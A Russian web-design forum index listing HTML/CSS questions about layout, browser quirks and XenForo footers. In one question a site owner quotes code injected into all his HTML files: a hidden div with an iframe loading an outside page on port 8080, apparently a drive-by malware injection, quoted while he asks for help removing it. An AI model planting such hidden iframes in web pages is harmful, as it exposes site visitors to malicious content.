Jump to content

HTML Coding

Subforums

  1. Discussion of works

    Source code audit and recommendations

    30.1k
    posts

  2. Practise Templates

    Templates for self education and practise

    1k
    posts

Explore Questions

There are no popular questions to show right now

  1. Вёрстка футера на движке Xenforo

    Asked by Mondeus,

    0 votes
    0 answers

  2. Примеры верстки

    Asked by torsar,

    0 votes
    0 answers

  3. Список покидает див

    Asked by DeZ,

    0 votes
    0 answers

  4. Проблема с шириной ячеек

    Asked by ArrogantSpectator,

    0 votes
    1 answer

  5. Html кнопка

    Asked by НикитаL,

    0 votes
    3 answers

29,542 questions in this forum

  1. Проблемка с Firefox

    В общем заметил такую вещь, что изображения в "Лисе" какие-то размытые, не четкие. По каким причинам изображение получается размытым? Это особенность рендеринга "Лисы" или же это я где-то напортачил из-за незнания особенностей "Лисы"? Как это лечить? Для сравнения привожу два скрина, первый из Хрома, а второй из "Лисы": Спасибо за внимание.

    Asked by Beck,

    0 votes
    4 answers

  2. Прошу совета, на серваке в штмл файлах появляется бог знает что...

    С завидной регулярностью в HTML коде появляется вот такая ересь: <body id="page5"><div style="display:none">lazwlewufzhcycdvamfcxprsyoqvljy<iframe width=130 height=658 src="http://privius-life.ru:8080/index.php" ></iframe></div> хотя я сам лично пишу только вот это: <body id="page5"> Что это такое и откуда оно берется??? И самое главное как с этим бороться??? И самое интересное что эта ерунда появляется во всех файлах штмл.

    Asked by svoik,

    0 votes
    8 answers

  3. Два фона

    Задача такая: В макете из двух колонок, вторую необходимо одновременно залить однотонным цветом и вставить картинку как фон для текста. Верстал таблицей, т.е. в ячейку надо либо поместить картинку, а поверх неё уже текст, либо поставить её фоном ячейки. В последнем случае оставшееся место в ячейке заполняется фоном таблицы, пока так и сделал. Но попытки поставить слой с картинкой за текст не увенчались успехом. Можно использовать относительное позиционирование: вставить слой с картинкой, затем абзац с текстом и текст поднять на высоту картинки, но тогда внизу ячейки будет ненужное свободное место, остающееся после текста. Сделать наоборот не получится: высоту абзаца ника…

    Asked by Йода,

    0 votes
    1 answer

  4. Позиционирование элемента

    Здравствуйте. Помогите, пожалуйста, решить задачу - расположить элемент html (например, картинку <img>) с некоторым заранее определенным смещением относительно центра по горизонтали. Конкретный пример - 400 пикселей влево от центра. Единственное, что приходит в голову - использование отрицательного margin-left. Но в этом случае картинка исчезает с клиентской части окна браузера при изменении его размеров (сжатии) ниже критического уровня. Картинка как бы уплывает за край браузера. Как сделать, чтобы картинка не уплывала, а если и уплывала, то чтобы ее можно было "достать" с помощью полосы прокрутки. Понятно, что задачу можно решить с помощью java script, но хотелось…

    Asked by salikoff,

    0 votes
    19 answers

  5. Отступ текста снизу - 3px

    Народ, в ряду есть несколько ячеек и я хочу чтобы текст в каждой из них имел разный отступ по вертикали от нижнего края. Пример: ячейка 1 - отступ 2px, ячейка 2 - отступ 7px, и т.д. Подскажите, плз, как это грамотно сделать

    Asked by coldrain,

    0 votes
    1 answer

  6. float и вложенные слои

    <div style="background: #ccc; width: 100%"> <div style="float: left; width: 300px; background: #000">123<br>123<br>123<br>123<br>123<br></div> 123 </div>В FF внутренний слой вылазит за пределы внешнего. Почему так происходит? В IE все нормально. Какой браузер отображает этот код правильно? Как сделать так, чтобы внутренний слой был слева и не вылазил за пределы внешнего слоя, не задавая фиксированную высоту внешнего слоя? Заранее спасибо за ответы.

    Asked by Cage,

    0 votes
    6 answers

  7. Хостинг. Создание сайта.

    Здравствуйте, форумчане! Хочу разобраться с выбором хостинга и некоторыми мелочами. Я совсем в этом не разбираюсь, хочу знать нюансы. И так, пойдём по этапно, что я хочу и как: 1. Для начало определиться с хостингом (платный хостинг). Сейчас такие услуги предоставляют огромное количество сайтов, а к кому обратиться - это вот вопрос. а. Требования: 1Гб выделенного места; управление сайтом (cms), путём динамичного отображения, вводимого контента, на последующих страницах... Возможно ли это? 2. Предположим, хостинг есть! Встаёт вопрос о создании интенет страничики, с динамичной структурой. Почему я выделил слово ''динамичной''? Нужен результат отображение, к примеру последн…

    Asked by student_ya,

    0 votes
    18 answers

  8. Проблема с меню...

    Уважаемые пользователи , Не могу никак поправить ошибку в меню, навожу курсором выше текста, а текст снизу выделяется, как-будто я навел на него.. вот сам файл http://files.mail.ru/V29REF Эта ошибка видна, через браузер Mozilla firefox через оперу все норм, может кто сталкивался с такой проблемой, а то никак не могу разобраться..

    Asked by smog,

    0 votes
    0 answers

  9. Как заверстать хитрый макет?

    В общем выглядеть будет примерно так: Помогите заверстать, или хотябы объясните логику. У #CONTAINER ширина меняется

    Asked by cbone,

    0 votes
    8 answers

  10. Проблема с меню...

    Уважаемые пользователи , Не могу никак поправить ошибку в меню, навожу курсором выше текста, а текст снизу выделяется, как-будто я навел на него.. файл http://files.mail.ru/V29REF

    Asked by smog,

    0 votes
    1 answer

  11. Проблемка с ссылками в контейнере

    Чет я совсем заработался и таких простых вещей не могу разобрать. В общем, в конце заметил, что ссылки в контейнере, занимают всю ширину контейнера. Тэги ссылок перепроверил, все закрыты. Не подскажете, как их снова ограничить, чтобы они были в ширину текста внутри ссылки а не во всю длину? Хочу сделать это, так как текст выделить нереально... Заранее спасибо.

    Asked by Beck,

    0 votes
    6 answers

  12. Динамичный контент

    Здравствуйте, форумчане! На вашем форуме пишу впервые, по этому не смейтесь над вопросами. Помогите разобраться в следующем: Есть сайт на Народе, есть новости сайта, на каждой страницы есть отдельная графа - ''последние 5 новостей'' С каждым разом сайт увеличивается по количеству страниц и уже становится трудно отображать каждую новую новость заново на каждой страницы. Подскажите как сделать динамичное отображение новости на каждой страницы. В css такого не нашёл, возможно я что-то не допонял. Или хотя бы наведите на мысль, я быстро дойду до истины. Спасибо, надеюсь решить проблему с Вами.

    Asked by student_ya,

    0 votes
    11 answers

  13. Templates

    Появился вопрос главная страница, тоесть index создаётся тоже на основе шаблона? Есть ли какие-нибудь ещё способы, чтобы не изменять на каждой страничке код, а сделать так как при помощи templates? Тоесть заменяя код на одной странице, он будет менятся и на тех, которые были созданы на основе определённого шаблона...

    Asked by mrBulka,

    0 votes
    1 answer

  14. Протокол date:

    есть js: var str = "// ==UserScript==\n// @name "; window.open('data:text/javascript; ,' + str); беда в том, что нужно открыть форматированный файл, содержащий переносы строки но как их передать в адресной строке? у меня получается только файл, вытянутый в строку как можно заменить "\n", чтобы в файле были переносы?

    Asked by BIOHAZARD,

    0 votes
    3 answers

  15. Возврат на предыдущую страницу

    Доброе время суток. У формы установлено action="action.php" , что нужно прописать в action.php что бы после того как всё отработало выдыть сообщение и вернуться на предыдущую страницу(т.е. на форму с которой вызывалось action.php ) , и как проверять строку на пустое значение.

    Asked by BuHunyx,

    0 votes
    41 answers

  16. некорректное вычисление высоты

    Если высота слоя явно не указана, граница слоя отображается в 1px. Либо по высоте дочернего слоя - если указана явно его ширина. IE отображает рамку корректно. Вопрос: как заставить FF правильно вычислять высоту слоя, чтобы при включении рамки слоя - все было красиво Вот такое: height: 100% или height: auto не прокатит

    Asked by htmlkin,

    0 votes
    4 answers

  17. Выравнивание элемента по центру страницы

    Добрый день! Подскажите, пожалуйста, как выравнивать элементы полностью по центру страницы??? т.е. и по горизонтали и по вертикали! для всех браузеров! Заранее спасибо!

    Asked by dron,

    0 votes
    11 answers

  18. Проблемка с clear ((

    Хочу создать такой макет...: 1.header с заданной высотой... ширина:100% (минимальная ширина:1004px) 2.Сайдбар(левый) фиксирован по ширине.... по высоте тенятся в зависимости от контента... 3.#content_center - блок фиксирован по ширине, тянется виз... (в зависимости от наполнения контентом) 4.#content_right - резиновый блок, тянется вниз и вправо... (в зависимости от наполнения контентом) 5.#content_foot - резиновый блок, тянется вниз и вправо... находится под блоками: #content_right и #content_center 6.footer с заданной высотой... ширина:100% (минимальная ширина:1004px) Вот так это выглядит на рисунке: —————— Архив с моей вёрсткой Посмотреть можно тут —————— Практически …

    Asked by alexander.parphenuyk,

    0 votes
    14 answers

  19. Верстка для мобильных Устройств

    Собствено сабж. Есть сайтик резиновый, нормально смотрится на нормальном экране. На экране PDA конечно же плывет. Отсюда вопросы 1. Под PDA делается отдельная верстка? 2. Как учитывается ширина экрана? Резиновый дизайн - это конечно хорошо, но как быть с широкими таблицами с данными, которые никак не умещаются даже в 640px, а уж про 240 вообще молчу? Или от горизонтального скрола никуда не деться? 3. Как отлаживаться? если нет под рукой реального устройства. У Оперы есть опция "маленький экран", но при этом летит нафиг часть CSS, т.е. игнорируется некоторые установки(например ширина Input). И вид страницы втиснутой в DIV шириной 240 на нормальном экране и в режиме "мале…

    Asked by minvareg,

    0 votes
    0 answers

  20. Неполучается сделать шаблон =(

    Хочу создать такой макет...: 1.header с заданной высотой... ширина:100% (минимальная ширина:1004px) 2.Сайдбар(левый) фиксирован по ширине.... по высоте тенятся в зависимости от контента... 3.#content_center - блок фиксирован по ширине, тянется виз... (в зависимости от наполнения контентом) 4.#content_right - резиновый блок, тянется вниз и вправо... (в зависимости от наполнения контентом) 5.#content_foot - резиновый блок, тянется вниз и вправо... находится под блоками: #content_right и #content_center 6.footer с заданной высотой... ширина:100% (минимальная ширина:1004px) Вот так это выглядит на рисунке: —————— Архив с моей вёрсткой Посмотреть можно тут —————— Практически …

    Asked by alexander.parphenuyk,

    0 votes
    1 answer

  21. нестыкуется border нижнего дива с верхним

    CSS: .leftboxt { background-image: url('images/hmenu.png'); width: 170px; } .leftboxb{ width: 170px; background:#FFDABB; border: 1px solid white; } Засада в том что низушка .leftboxb у нее есть белая полоса бордера не хочет стыковаться с верхушкой .leftboxt. Это в фаерфоксе и опере. Тут на сайте нашел статью, что опера и лис ставят бордер по вн. границе, а IE по внутренней. Так как же это можно решить

    Asked by x11,

    0 votes
    5 answers

  22. наверно якоря

    здравствуйте. проблема с реализацией: 1)список вида: *1 *2 *3 *4 *5 2)чтобы при нажатии на любой пункт: всплывает другой список из 2х и более пунктов. _____ в какую сторону мне копать? (могу ошибаться, но может это можно реализовать с помощью якорей)

    Asked by bald,

    0 votes
    3 answers

  23. странное поведение таблиц в IE

    Есть вот такой незамысловатый код: <html> <head> </head> <body> <table cellpadding=0 cellspacing=0 style="width:100%"> <tr> <td colspan=3 style="background:#E8E8FF; height:200px;"> <table cellpadding=0 cellspacing=0 style="width:100%" border=1> <tr> <td style="width:310px;">310px</td> <td></td> <td style="width:310px;">310px</td> </tr> </table> </td> </tr> <tr> <td style="width:200px; background:#23AE0A;">200px </td> <td > </td> <td style="width:200px; background:#18B6F1;">200px &lt…

    Asked by L0k!,

    0 votes
    5 answers

  24. как сделать свою полосу прокрутки

    Подскажите пожалуйста как сделать свою полосу прокрутки в цвет своего сайта, можно ли изменить стандартную полосу прокрутки которая появляется при overflow. Наверное придется прорисовывать каждый элемент..? Буду признатален за любую информацию. Заранее Спасибо.

    Asked by Motros,

    0 votes
    1 answer

  25. Как перевернуть текст вверх ногами

    Всем доброго времени суток. Столкнулся с проблемой при вёрстке. Как можно перевернуть текст вверх ногами? Какие есть методы для этого? Копался, в CSS ничего не нашёл, как понимаю, придётся использовать какой-нибудь скрипт. В JQuery и MooTools не смог ничего подобного найти(хотя не сильно глубоко лез). Может кто сталкивался? Уточнение: нужно, чтоб текст переворачивался при :hover

    Asked by cbone,

    0 votes
    7 answers

  • Обсуждения

    • Mondeus
      Вёрстка футера на движке Xenforo

      By Mondeus · Posted

      Доброго всем времени суток. Прошу помощи. Научите принципу изменения футера. Движок Xenforo. Версия 2.2.10. Стиль дефолтный. Что именно нужно в итоге на фото примере. Мой шаблон app.footer less имеет следующее значение.  .p-footer { .xf-publicFooter(); a { .xf-publicFooterLink(); } } .p-footer-inner { .m-pageWidth(); .m-pageInset(); padding-top: @xf-paddingMedium; padding-bottom: @xf-paddingLarge; } .p-footer-row { .m-clearFix(); margin-bottom: -@xf-paddingLarge; } .p-footer-row-main { float: left; margin-bottom: @xf-paddingLarge; } .p-footer-row-opposite { float: right; margin-bottom: @xf-paddingLarge; } .p-footer-linkList { .m-listPlain(); .m-clearFix(); > li { float: left; margin-right: .5em; &:last-child { margin-right: 0; } a { padding: 2px 4px; border-radius: @xf-borderRadiusSmall; &:hover { text-decoration: none; background-color: fade(@xf-publicFooterLink--color, 10%); } } } } .p-footer-rssLink { > span { position: relative; top: -1px; display: inline-block; width: 1.44em; height: 1.44em; line-height: 1.44em; text-align: center; font-size: .8em; background-color: #4682B4; border-radius: 2px; } .fa-rss { color: white; } } .p-footer-copyright { margin-top: @xf-elementSpacer; text-align: center; font-size: @xf-fontSizeSmallest; } .p-footer-debug { margin-top: @xf-paddingLarge; text-align: right; font-size: @xf-fontSizeSmallest; .pairs > dt { color: inherit; } } @media (max-width: @xf-responsiveMedium) { .p-footer-row-main, .p-footer-row-opposite { float: none; } .p-footer-copyright { text-align: left; padding: 0 4px; // aligns with other links } }  
    • torsar
      Примеры верстки

      By torsar · Posted

      Нужны сайты с примерами верстки, типа https://css-tricks.com/. Типовые приемы и нестандартные на все случаи жизни. Накидайте ссылок.
    • Katerina23
      Какой тег использовать, чтобы увеличивать число кнопками вверх-вниз?

      By Katerina23 · Posted

      Да, подходит. Спасибо.
    • Switch74
      Какой тег использовать, чтобы увеличивать число кнопками вверх-вниз?

      By Switch74 · Posted

      <input type="number">
    • Katerina23
      Какой тег использовать, чтобы увеличивать число кнопками вверх-вниз?

      By Katerina23 · Posted

      Здравствуйте, подскажите какой тег использовать для увеличения значения, пример на картинке. Вроде, про такой тег я слышала. Если есть тег прогресс бар, значит и такое должно быть.
    • DeZ
      Список покидает див

      By DeZ · Posted

      Решение нашел.  Заменил на  Всем привет. Список выходит из дива. При этом, другие элементы в диве отображаются корректно. Не могу найти причину. Нужно чтобы список был под кнопкой ПЛЕЙ...          
    • AIek
      ищу клиентов,услуги

      By AIek · Posted

      Здравствуйте! Мы команда программистов с многолетним опытом разработки. Работая с нашей командой, Вы получаете порядок условий и развитие с обеих сторон: разработка проекта и продолжение сотрудничества на долгосрочной основе, так же специалисты всегда готовы предложить различные идеи и дополнения.  Разрабатываем проекты любой сложности: скрипты для автоматизации рутины, боты, сайты, админ панели, ico, ldo, разработка криптовалюты, смарт контракты, приложения, игры. Ответственность, качество, соблюдение дедлайнов - это про нас!  Наш контакт:  https://t.me/MadFury (https://t.me/madfury) (TG) TG:  https://t.me/2e7.io Сайт: https://code-r.io/
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue. See more about our Guidelines and Privacy Policy

  I accept